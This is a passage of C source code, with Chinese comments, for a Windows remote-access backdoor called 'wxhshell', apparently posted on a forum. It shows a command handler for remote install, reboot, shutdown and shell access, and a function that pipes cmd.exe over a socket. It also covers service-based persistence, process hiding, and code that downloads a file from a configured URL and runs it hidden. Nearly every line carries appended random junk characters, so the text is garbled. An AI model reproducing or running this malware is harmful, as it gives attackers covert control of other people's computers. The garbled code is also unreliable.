  case '?': { |<sf:#YzY&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K!GUv{fp  
    break; :@.C4oq  
  } :~yzDk\I"-  
  // 安装 CE)*qFs  
  case 'i': { :`D'jF^S  
    if(Install()) Q Q@9_[N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *5 e<\{!  
    else }04Dg '  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S|HY+Z6n'  
    break; Ba<ngG !  
    } SU/G)&Mi  
  // 卸载 Q~phGD3!~  
  case 'r': { ] bIt@GB  
    if(Uninstall()) xJ-*%'(KZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UmJUt|  
    else Zp`~}LV{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); My. dD'C  
    break; C1 W>/?XC  
    } d7E7f  
  // 显示 wxhshell 所在路径 djUihcqA`  
  case 'p': { lqF>=15  
    char svExeFile[MAX_PATH]; ~L~]QN\3  
    strcpy(svExeFile,"\n\r"); u=%y  
      strcat(svExeFile,ExeFile); o~= iy  
        send(wsh,svExeFile,strlen(svExeFile),0); s3seK6x'  
    break; I-,>DLG  
    } ?FN9rhAC  
  // 重启 iAK/d)bq  
  case 'b': { 8/Mx5~ R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TM0b-W (H  
    if(Boot(REBOOT)) 6#E7!-u(-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yr5NRs  
    else { ) !i!3  
    closesocket(wsh); VUp. j  
    ExitThread(0); +$PFHXB  
    } Mq@}snp"S  
    break; ?1CJf>B>  
    } `|Ey)@w  
  // 关机 !nwbj21%  
  case 'd': { SZ/(\kQ6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >5.zk1&H  
    if(Boot(SHUTDOWN)) `$at9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); okz]Qc>G  
    else { EY~7oNfc`R  
    closesocket(wsh); ! tGiTzzp  
    ExitThread(0); UxeL cUP  
    } y1iX!m~)  
    break; ?;^5ghY$  
    } (k8Z=/N~  
  // 获取shell /_q#a h  
  case 's': { M|k&TTV  
    CmdShell(wsh); vO]J]][  
    closesocket(wsh); '*4iqP R;  
    ExitThread(0); MI\]IQU  
    break; Ir/:d]N*  
  } \#++s&06  
  // 退出 3w6&&R9  
  case 'x': { (xL :;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RJx{eck%  
    CloseIt(wsh); zka?cOmYF[  
    break; ^sV|ck  
    } .Vmtx  
  // 离开 KY g3U  
  case 'q': { 2 5Q+1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @V$I?iXV  
    closesocket(wsh); &$F[/[Ds+  
    WSACleanup(); -D#5o,]3  
    exit(1); T%kKVr  
    break; ")ED)&e  
        } 9`BEi(z  
  } &\k?xN  
  } zw]3Vg{T  
q!&B6]  
  // 提示信息 .b,~f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <(YF5Xm6$h  
} $@2"{9Z  
  } WNa3^K/W{  
j;iL&eo>  
  return; UfKkgq#  
} =&2$/YX0D  
< eQ[kM  
// shell模块句柄 vU}: U)S  
int CmdShell(SOCKET sock) E~RV1)  
{ Sph*1c(R  
STARTUPINFO si; *Tp]h 0  
ZeroMemory(&si,sizeof(si)); O: JPJ"!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (B:uc_+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {2:d` fqD  
PROCESS_INFORMATION ProcessInfo; (;UP%H>  
char cmdline[]="cmd"; +i=p5d5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C8.W5P[U  
  return 0; e!Br>^8l  
} JT)k  
:!O><eQw  
// 自身启动模式 =Z`0>R`  
int StartFromService(void) >A($8=+#x  
{ [D[D`gpjA  
typedef struct HN68!v}C|  
{ cy3M^_5B<  
  DWORD ExitStatus; fK_~lGY(  
  DWORD PebBaseAddress; ;Iq5|rzDn  
  DWORD AffinityMask; K_#UZA< Y  
  DWORD BasePriority; uN bIX:L,  
  ULONG UniqueProcessId; {y6C0A*  
  ULONG InheritedFromUniqueProcessId; 5 `=KyHi:b  
}   PROCESS_BASIC_INFORMATION; t77'fm  
&XQZs`41+  
PROCNTQSIP NtQueryInformationProcess; ltSh'w0  
S?4KC^Y5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x: ~d@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a5?A!k\2  
B {aU;{1  
  HANDLE             hProcess; W-XpJ\_  
  PROCESS_BASIC_INFORMATION pbi; ffk4mhH  
wyw<jH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >vVw!.fJ  
  if(NULL == hInst ) return 0; -:S IS`0s  
El (/em  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8l23%iWxe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JZ=5Bpw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {ma;G[!  
t$ZkdF  
  if (!NtQueryInformationProcess) return 0; jdM=SBy7q  
S}cF0B1E*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?Y3@"rdR  
  if(!hProcess) return 0; m}5q]N";x  
\_VmY!I5\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .zS D`v@[  
_{Y$o'*#I  
  CloseHandle(hProcess); gS$A   
4AHL3@x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e4[) WNR  
if(hProcess==NULL) return 0; %F J#uQXZ  
fsvYU0L  
HMODULE hMod; %v4ZGtKC@  
char procName[255]; Tpzw=bC^  
unsigned long cbNeeded; Rd%0\ B  
KlU qoJ;"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d#\W hRE  
"2;N2=~7  
  CloseHandle(hProcess); x=,8[W#XT  
GN%(9N'W  
if(strstr(procName,"services")) return 1; // 以服务启动  $Nu)E  
!O{ z 3W  
  return 0; // 注册表启动 <HQ&-jx  
} T//S,   
Df@/cT  
// 主模块 u+2Lm*M  
int StartWxhshell(LPSTR lpCmdLine) 2EfflZL3  
{ dJl^ADX[@  
  SOCKET wsl; ({M?Q>s  
BOOL val=TRUE; % {Q-8w!  
  int port=0; RrWNJ&o  
  struct sockaddr_in door; vg(K$o{BT  
maDz W_3  
  if(wscfg.ws_autoins) Install(); *#2Rvt*Ox  
O,mip  
port=atoi(lpCmdLine); Of`c`-<j  
]k*1KP  
if(port<=0) port=wscfg.ws_port; ,4Y*:JU4  
[6R fS  
  WSADATA data; gX,9Gh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2[up+;%Y  
A]?^ H<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ` X}85  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J#7y< s  
  door.sin_family = AF_INET; @!\K>G >9[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5@P-g  
  door.sin_port = htons(port); 3hS6j S  
X/+OF'po  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;fGx;D  
closesocket(wsl); B*,?C]0{  
return 1; c3k|G<C2  
} NHkL24ve  
1q]c7"  
  if(listen(wsl,2) == INVALID_SOCKET) { AuCWQ~  
closesocket(wsl); FT/amCRyT  
return 1; HC7JMj  
} 84M3c  
  Wxhshell(wsl); CLN+I'uX0  
  WSACleanup(); %S#WPD'Y  
Hr }k5'  
return 0; ow.6!tl0=h  
x~/+RF XF  
} onl>54M^  
f0oek{  
// 以NT服务方式启动 Kx6y" {me|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R8<eN9bJ9  
{ 9;KJr[FQV  
DWORD   status = 0; j|K.i/  
  DWORD   specificError = 0xfffffff; &U &%ka<*  
iZ; TYcT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; np6HUH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]}2Ztr)zZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9Nt3Z >d  
  serviceStatus.dwWin32ExitCode     = 0; \9/1L ?@  
  serviceStatus.dwServiceSpecificExitCode = 0; /cY^]VLe  
  serviceStatus.dwCheckPoint       = 0; hz)9"B\S  
  serviceStatus.dwWaitHint       = 0; !k<:k "7  
P(h5=0`*PR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uD)-V;}P@;  
  if (hServiceStatusHandle==0) return; J_xG}d  
0"4@;e_)>  
status = GetLastError(); FA$zZs10\  
  if (status!=NO_ERROR) BUC,M:J+H  
{ *gu8-7'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qm(1:iK,0  
    serviceStatus.dwCheckPoint       = 0; XDLEVSly7  
    serviceStatus.dwWaitHint       = 0; R^P_{_I*"  
    serviceStatus.dwWin32ExitCode     = status; xmH-!Da  
    serviceStatus.dwServiceSpecificExitCode = specificError; MF.[8Zb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $TG?4  
    return; F2>%KuM  
  } Iql5T#K+  
b!a %YLL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kRot7-7I|  
  serviceStatus.dwCheckPoint       = 0; Y}.Ystem  
  serviceStatus.dwWaitHint       = 0; xncwYOz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _t-7$d"  
} 6 = gp:I  
yJD >ny  
// 处理NT服务事件,比如:启动、停止 *Bw#c j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |:2c$zq  
{ mm,lhIh  
switch(fdwControl) ULl_\5s2  
{ y1C/v:;  
case SERVICE_CONTROL_STOP: lbkL yp2  
  serviceStatus.dwWin32ExitCode = 0; #T% zfcUj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _413\`%8?  
  serviceStatus.dwCheckPoint   = 0; xzk}[3P{  
  serviceStatus.dwWaitHint     = 0; z="L4  
  { $D_HZ"ytu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JR1 *|u  
  } H/jm f5  
  return; l{%a&/  
case SERVICE_CONTROL_PAUSE: Y';>O`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !_^g8^>2(  
  break; Y4To@TrN#\  
case SERVICE_CONTROL_CONTINUE: IZ~.{UQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <lo`q<q  
  break; f\}22}/  
case SERVICE_CONTROL_INTERROGATE: 1xTTJyoq  
  break; T]71lRY5  
}; )zJ=PF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d=F-L  
} `K?1L{p'4  
GZ3/S|SMP  
// 标准应用程序主函数 CW0UMPE5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :s*>W$Wp4  
{ _4R,Ej}  
{L9yhYw  
// 获取操作系统版本 j>!sN`dBj  
OsIsNt=GetOsVer(); Kbas-</Si  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "DjU:*'  
=Ahw%`/&}]  
  // 从命令行安装 v*r9j8  
  if(strpbrk(lpCmdLine,"iI")) Install(); g rbTcLSF  
ct0v$ct>f  
  // 下载执行文件 f z%tA39m  
if(wscfg.ws_downexe) { KXe ka  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E5{n?e  
  WinExec(wscfg.ws_filenam,SW_HIDE); t _\MAK  
} {A3 m+_8  
I,j3bC  
if(!OsIsNt) { hTw}X.<4  
// 如果时win9x,隐藏进程并且设置为注册表启动 %dmfBf Ev  
HideProc(); Uu5C%9^s  
StartWxhshell(lpCmdLine); w3bIb$12  
} u^=@DO'  
else jG8;]XP  
  if(StartFromService()) !6E:5=L^  
  // 以服务方式启动 d@>\E/zA  
  StartServiceCtrlDispatcher(DispatchTable); }ywi"k4>  
else ./.=Rw  
  // 普通方式启动 uaxB -PZ  
  StartWxhshell(lpCmdLine); E@pFTvo  
F= i!d,S  
return 0; $l"MXxx5I  
}
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只看该作者 1 发表于: 2006-10-10
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